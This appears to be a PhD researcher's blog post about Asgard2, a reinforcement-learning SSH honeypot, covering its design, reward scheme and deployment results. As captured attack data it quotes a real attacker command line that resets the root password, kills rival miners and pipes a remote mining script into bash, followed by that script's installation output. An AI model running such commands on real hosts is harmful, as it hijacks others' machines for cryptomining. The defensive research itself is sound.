An Adaptive Self-guarded and Risk-aware honeypot using DRL
Published:
Introduction
This post introduces Asgard2, an adaptive honeypot I developed during my PhD research. Deployed on a network, Asgard2 presents itself as a Linux server that attackers can reach with an SSH client, and it learns how to engage with them using deep reinforcement learning.
On the surface, Asgard2 resembles other conventional and adaptive honeypots. What sets it apart is that it learns to manage its own risk of exposure. It still fulfills its purpose of luring attackers and gathering intelligence, but it does so while limiting the chance that it is overly compromised itself.
The source code is available on GitHub, and the Docker images are published on Docker Hub. The work is based on my published paper: An adaptive self-guarded and risk-aware honeypot using DRL.
Motivation
A honeypot is a security tool that is designed to be probed, attacked and compromised. This is the definition given by Lance Spitzner in Honeypots: Tracking Hackers (2002), where he also states that a honeypot that is never probed, attacked or compromised has no value.
Honeypots come in different flavors, from simulated applications or systems (aka low- or medium-interaction honeypots) to full-fledged applications or operating systems (aka high-interaction honeypots). They can be deployed on a network, in a sandbox, or in an isolated network. These choices determine how convincing the honeypot is and how good the collected data is. Traditional honeypots, however, are static by design. An adaptive honeypot is more dynamic: it can change its behavior to engage an attacker or to disrupt an attack. This can lead to longer and more complex attacks, or force the attacker to find an alternative route to reach their objectives.
However, a honeypot that is freely compromised is a double-edged sword. On the positive side, the data collected during an attack lets us learn how attackers operate and, in the best cases, discover new threats or vulnerabilities. On the negative side, attackers can use a compromised honeypot to launch attacks against other victims on the Internet or, in the worst case, to move deeper into the organization’s network. This is known as lateral movement.
Asgard2 is built to balance these two objectives. It still collects attack data and allows itself to be attacked and compromised, but it takes action to protect itself from being deeply compromised. It does this using a reinforcement learning algorithm whose environment takes into account various types of information. This information allows the honeypot to determine its own health and to manage its own security risk.
Architecture
Asgard2 is an instantiation of ASGARD, an Abstract Model for Adaptive Self-guarded honeypots, which can be used to create different types of honeypots. ASGARD uses a real system as the honeypot and relies on a proxy-based design, which lets it intercept all interactions between the attacker and that system.
Unlike a conventional honeypot, which depends on a sandbox, a separate network and constant supervision to stay safe, Asgard2 protects itself from being overly compromised by monitoring and controlling its own environment.
The figure below shows the architecture of Asgard2, which comprises the following components:
Figure 1: Architecture of Asgard2.
- Proxy: presents itself as an SSH server and provides the usual SSH services, such as user authentication. It does not execute any commands itself; they are forwarded to the target system.
- Decision engine: the brain of the system, responsible for its self-defense. It uses deep reinforcement learning, together with a rich observation of the system’s state, to learn which action to take.
- Target system: an OpenSSH server where the attackers’ commands are actually executed.
- Monitor: gives the decision engine an external view of the honeypot by collecting information such as resource consumption.
- Command risk assessment: a separate component that sits outside the ASGARD model. It estimates the risk of a command before it runs, so the decision engine can weigh the potential impact of executing it on the system.
Execution flow
An attacker connects to the system using an SSH client. By default, Asgard2 can accept any username and password, but it can also be configured to accept only specific credentials. Public key authentication is supported as well.
Once connected, the attacker can enter shell commands. On a normal Linux system, any available command is executed freely. Asgard2 is different: it does not always let a command run. Instead, the proxy queries the decision engine, which chooses which action to take.
The decision engine bases its choice on the current state of the honeypot. While it is still learning, its actions can look random, and they become more deliberate as training progresses.
Asgard2 can perform two set of actions, depending on the type of command:
Short-running commands: They refer to commands that attackers submit for executions.
- Allow: the proxy forwards the command to the target system for execution.
- Block: the proxy returns a
command not founderror. - Substitute: the proxy returns a fabricated response without executing the command.
Long-running command: They refer to commands that continue to execute beyone the initial interaction. They typically represent background processes.
- Nope: a process keeps running.
- Terminate: a process is terminated.
How it learns
The decision engine is modeled as a Markov decision process and trained with Deep Q-Network (DQN), a deep reinforcement learning algorithm. Earlier adaptive honeypots, including my first version Asgard1, only looked at the command name, so they could decide only before a command ran. Asgard2 observes much more, which lets it react to what a command actually does to the system.
What the agent observes
The state combines four pieces of information:
- Full command: the name, options and parameters, since the same command can be harmless or dangerous depending on its arguments (
rmalone just prints a help message). - Command type: short-running commands finish during the interaction (
ls,cd,wget), while long-running commands keep executing in the background (a cryptominer, for example). - Command risk level: a score from the command risk assessment component.
- Target system resource usage: CPU, memory, disk reads and writes, and network packets in and out, all as percentages. This is the information that the monitor collects.
What the agent can do
The available actions depend on the command type:
| Command type | Actions |
|---|---|
| Short-running | Allow, Block, Substitute |
| Long-running | Nop, Terminate |
The second set is what lets Asgard2 keep controlling a command after it has started, for example by killing a miner that is eating the CPU.
What “deeply compromised” means
A honeypot that is deeply compromised no longer serves its purpose, so the agent needs a way to tell when that has happened. I characterize the state of compromise (SoC) of the target system by its resource consumption: CPU, memory, disk reads and writes, and network traffic in and out. This is based on attacks I observed on a real deployment of Asgard1, where attackers mined cryptocurrency (high CPU) or launched brute-force and DDoS attacks (high outbound traffic). The system is considered deeply compromised when any of these metrics exceeds its threshold.
A single global threshold \(t_g\) controls how much compromise is tolerated. A higher value lets attackers do more before the honeypot counts as compromised.
The reward
The reward encodes two goals: keep attackers engaged, and don’t let the honeypot be overly compromised. In short:
- While the system is not deeply compromised, allowing commands is rewarded.
- Once it is deeply compromised, only short commands whose risk level is less than an acceptable risk level \(risk_g\) should be allowed. Allowing higher-risk ones is penalized.
- For long-running commands,
nopis rewarded while the system is healthy, andterminateis rewarded once it is deeply compromised.
| Situation | Good action | Bad action |
|---|---|---|
| Healthy system, any short command | Allow | |
| Compromised system, low-risk short command | Allow | |
| Compromised system, high-risk short command | Allow | |
| Healthy system, long-running command | Nop | Terminate |
| Compromised system, long-running command | Terminate | Nop |
The reward is also proportional rather than just -1, 0 or +1. For each metric with normalized consumption \(c\), the base reward is \(1 - \frac{c}{t_g}\). With \(t_g = 0.5\), it is +1 for an idle system, 0 at the threshold, and falls to -1 when the metric is at 100%. The closer the system gets to a deep compromise, the weaker the reward for allowing commands becomes.
Together, the risk level, the resource metrics and the threshold are what make Asgard2 risk-aware: the agent learns when letting an attacker continue is worth it and when it is not.
Example session
To make this concrete, here is a real attack captured by Asgard2. The password, wallet address and hostnames have been redacted.
An attacker logged in over SSH and sent the following command line:
echo root:<REDACTED>|chpasswd|bash; pkill kswapd0; pkill xmrig; pkill cnrig; pkill xmrig64; curl -s -L hxxp://<mining-pool>/.../setup_miner.sh | bash -s <WALLET>
The proxy parses a command line using Bashlex – a bash shell command parser, and the decision engine evaluates every command on its own. Here is what the attacker tried to do, and what Asgard2 decided for each command:
| # | Command | Risk | Intent | Action | What the attacker sees |
|---|---|---|---|---|---|
| 1 | echo root:<pw> \| chpasswd \| bash | medium | Change the root password to one chosen by the attacker | Block | -bash echo: command not found |
| 2 | pkill kswapd0 | medium | Kill a process name often used to disguise a miner | Allow | Nothing visible |
| 3 | pkill xmrig | medium | Kill another miner on the machine | Allow | Nothing visible |
| 4 | pkill cnrig | medium | Kill another miner on the machine | Allow | Nothing visible |
| 5 | pkill xmrig64 | medium | Kill another miner on the machine | Allow | Nothing visible |
| 6 | curl -s -L <url> \| bash -s <wallet> | extremely high | Download and run a mining setup script | Allow | See the output below |
Output of command 6 (the miner setup script)
C3Pool mining setup script v2.11.
警告: 请勿将此脚本使用在非法用途,如有发现在非自己所有权的服务器内使用该脚本
我们将在接到举报后,封禁违法的钱包地址,并将有关信息收集并提交给警方
(please report issues to support@c3pool.com email with full output of this script with extra "-x" "bash" option)
Computed port: 80
I will download, setup and run in background Monero CPU miner.
将进行下载设置,并在后台中运行xmrig矿工.
If needed, miner in foreground can be started by /home/validator/c3pool/miner.sh script.
如果需要,可以通过以下方法启动前台矿工输出 /home/validator/c3pool/miner.sh script.
Mining will happen to <REDACTED> wallet.
将使用 <REDACTED> 地址进行开采
Since I can't do passwordless sudo, mining in background will started from your /home/validator/.profile file first time you login this host after reboot.
由于脚本无法执行无密码的sudo,因此在您重启后首次登录此主机时,后台开采将从您的 /home/validator/.profile 文件开始.
JFYI: This host has 2 CPU threads with MHz and KB data cache in total, so projected Monero hashrate is around 1 H/s.
Sleeping for 15 seconds before continuing (press Ctrl+C to cancel)
等待 15 秒将继续运行安装 (按 Ctrl+C 取消)
[*] Removing previous c3pool miner (if any)
[*] 卸载以前的 C3Pool 矿工 (如果存在)
[*] Removing /home/validator/c3pool directory
[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz
[*] 下载 C3Pool 版本的 Xmrig 到 /tmp/xmrig.tar.gz 中
[*] Unpacking /tmp/xmrig.tar.gz to /home/validator/c3pool
[*] 解压 /tmp/xmrig.tar.gz 到 /home/validator/c3pool
[*] Checking if advanced version of /home/validator/c3pool/xmrig works fine (and not removed by antivirus software)
[*] 检查目录 /home/validator/c3pool/xmrig 中的xmrig是否运行正常 (或者是否被杀毒软件误杀)
[*] Miner /home/validator/c3pool/xmrig is OK
[*] 矿工 /home/validator/c3pool/xmrig 运行正常
[*] Creating /home/validator/c3pool/miner.sh script
[*] 在该目录下创建 /home/validator/c3pool/miner.sh 脚本
[*] Adding /home/validator/c3pool/miner.sh script to /home/validator/.profile
[*] 添加 /home/validator/c3pool/miner.sh 到 /home/validator/.profile
[*] Running miner in the background (see logs in /home/validator/c3pool/xmrig.log file)
[*] 已在后台运行xmrig矿工 (请查看 /home/validator/c3pool/xmrig.log 日志文件)
NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned
提示: 如果您使用共享VPS,建议避免由矿工产生100%的CPU使用率,否则可能将被禁止使用
HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:
sudo apt-get update; sudo apt-get install -y cpulimit
sudo cpulimit -e xmrig -l 150 -b
sudo sed -i -e '$acpulimit -e xmrig -l 150 -b\n' /etc/rc.local
[*] Setup complete
[*] 安装完成
警告: 请勿将此脚本使用在非法用途,如有发现在非自己所有权的服务器内使用该脚本
我们将在接到举报后,封禁违法的钱包地址,并将有关信息收集并提交给警方
The attacker’s goal with commands 2 to 5 is to clear competing miners from the machine so that their own miner gets all of the CPU.
Command 6 installed a Monero miner that kept running in the background. From that point on, the engine was no longer judging a command the attacker had typed, but a long-running process, and its choices were limited to nop (let it continue) or terminate. This command was assesed as extremely-high risk.
| Time | CPU | Action on the miner |
|---|---|---|
| 18:01:58+0000 | 30% | Nop, the miner has just started |
| 18:02:03+0000 | >50% | Terminate |
What to notice
- One line, several decisions. Since each command is judged on its own, the engine blocked the one that would have changed the root password and let the rest through. The attacker kept a working session and the honeypot kept collecting data, without the most damaging step succeeding.
- Allowing is the default while the system is healthy. The download and execution of a miner was allowed because the system was not compromised at the time. This is the behavior the reward encourages. Blocking everything suspicious would end the interaction and tell us nothing about the attack.
- Allowed does not mean unchecked. The agent let the miner start and took no action while resource usage stayed low. Once CPU crossed the threshold, the system counted as deeply compromised and the agent terminated the process. The honeypot saw how the attack worked, and the damage stopped before it could be used for sustained mining.
Deployment
The whole system can be deployed in the cloud, either on a single machine or spread across several machines. The command risk assessment component can run on the same machine as the rest, and it can also be configured as part of the RL environment. However, because its trained model is large, it should be run on a separate machine. This component will be covered in a separate post. It is based on Touch, Fink & Colin, CRiSIS 2024.
Results
To evaluate Asgard2, I deployed it for about two months alongside three other systems: its predecessor Asgard1, the medium-interaction honeypot Cowrie, and an unprotected high-interaction honeypot (a real system with no protection, called the unprotected honeypot below). I compared them on two criteria:
- Data collected: attack statistics and captured files.
- Security incidents: how often the honeypot was used for malicious activity.
The agent kept learning online during the deployment.
Overall, Asgard2 achieved a better balance between these two criteria than Cowrie and the unprotected honeypot.
Data collection
| Asgard2 | Asgard1 | Cowrie | Unprotected | |
|---|---|---|---|---|
| Commands per session, average | 13.54 | 11.19 | 2.89 | 21.30 |
| Unique files captured | 46 | 33 | 29 | 50 |
Asgard2 captured more commands on average than Asgard1 and far more than Cowrie. It also captured more unique files than both of them. It did capture fewer files on average than Asgard1 and Unprotected, but the files it did capture were more varied. The unprotected honeypot collected the most data, which is expected, since nothing ever interrupts the attacker.
Security incidents
To count incidents, I used some reports that flagged my honeypots as infected with malware or as taking part in attacks, together with my own observations of malware running on the systems.
| Asgard2 | Asgard1 | Cowrie | Unprotected | |
|---|---|---|---|---|
| Brute force / scanner | 0 | 0 | 0 | 16 |
| DDoS trojan | 2 | 9 | 0 | 8 |
| Malware | 0 | 1 | 0 | 2 |
| Total incidents | 2 | 10 | 0 | 26 |
Among the honeypots that run a real system, Asgard2 had the fewest incidents (2, against 10 for Asgard1 and 26 for the unprotected honeypot). Even Asgard1, which has a basic form of protection, was flagged many times. Cowrie had no incidents, which is expected for a simulated system, since there is no real machine for an attacker to take over. It also collected the least data.
Asgard2 still experienced two incidents, both involving DDoS trojans. In both cases, the system initially allowed the trojans to execute before terminating them once resource consumption reached the threshold. This illustrates how Asgard2 balanced data collection with limiting its own exposure.
Taken together, the unprotected honeypot collected the most data but was compromised the most, Cowrie was safe but collected little, and Asgard2 sat between them: it collected much more than Cowrie with a small fraction of the incidents of the unprotected honeypot.
The paper contains the full results and the methodology.
Limitations
The main limitations of the current design come from how the SoC is defined. Asgard2 infers compromise from resource consumption, using a single global threshold t_g for every metric. This has two consequences:
- High resource usage does not always mean compromise. An attacker can run a program that does nothing except burn CPU cycles, which pushes the system past the threshold even though nothing meaningful has been compromised. The agent then treats the honeypot as deeply compromised and starts blocking or terminating, which cuts the interaction short. An attacker who understands this behavior could even use it deliberately to manipulate the agent.
- Compromise does not always show up in resource usage. An attacker can steal data, plant a backdoor, or run a slow, low-intensity miner without ever crossing the threshold. Such activity would count as a healthy state.
A single \(t_g\) also treats all metrics alike, although 50% of CPU and 50% of the network capacity do not carry the same meaning. The formal model allows a separate threshold for each metric. Using one global value is a simplification made in the current implementation. Richer signals, such as the processes that are running, outbound connections, or changes to files, and thresholds that are tuned per metric are natural directions for future work.
Conclusion & citation
In this post, I presented Asgard2, an adaptive, self-guarded and risk-aware honeypot, along with ASGARD, the abstract model it instantiates. I described its architecture, how its decision engine learns, and how it handled a real attack.
As shown in the paper, Asgard2 balances its two objectives better than the alternatives I compared it with: it collected more attack data than the medium-interaction honeypot Cowrie, and it was less deeply compromised than an unprotected honeypot.
The system is available to download, and Docker images make it easier to deploy. Because it is made of several components that must be deployed together, it does require some configuration. If you run into installation problems, feel free to contact me. In the meantime, the documentation covers installation and each component in more detail.
If you use this work, please cite:
- Touch, S., & Colin, J. N. (2025). An adaptive self-guarded and risk-aware honeypot using DRL. In Computer Security. ESORICS 2025 International Workshops, LNCS vol. 16232. Springer, Cham. https://doi.org/10.1007/978-3-032-16092-8_11
- Touch, S., Fink, J., & Colin, J. N. (2024). Automated risk assessment of shell-based attacks using a LLM. In Risks and Security of Internet and Systems (CRiSIS 2024), LNCS vol. 15456. Springer, Cham. https://doi.org/10.1007/978-3-031-89350-6_11
I used AI assistants to help edit and draft parts of this post and suggest its structure. The research, results, and technical content are my own, and I reviewed the final text. The cover image was also generated using AI.
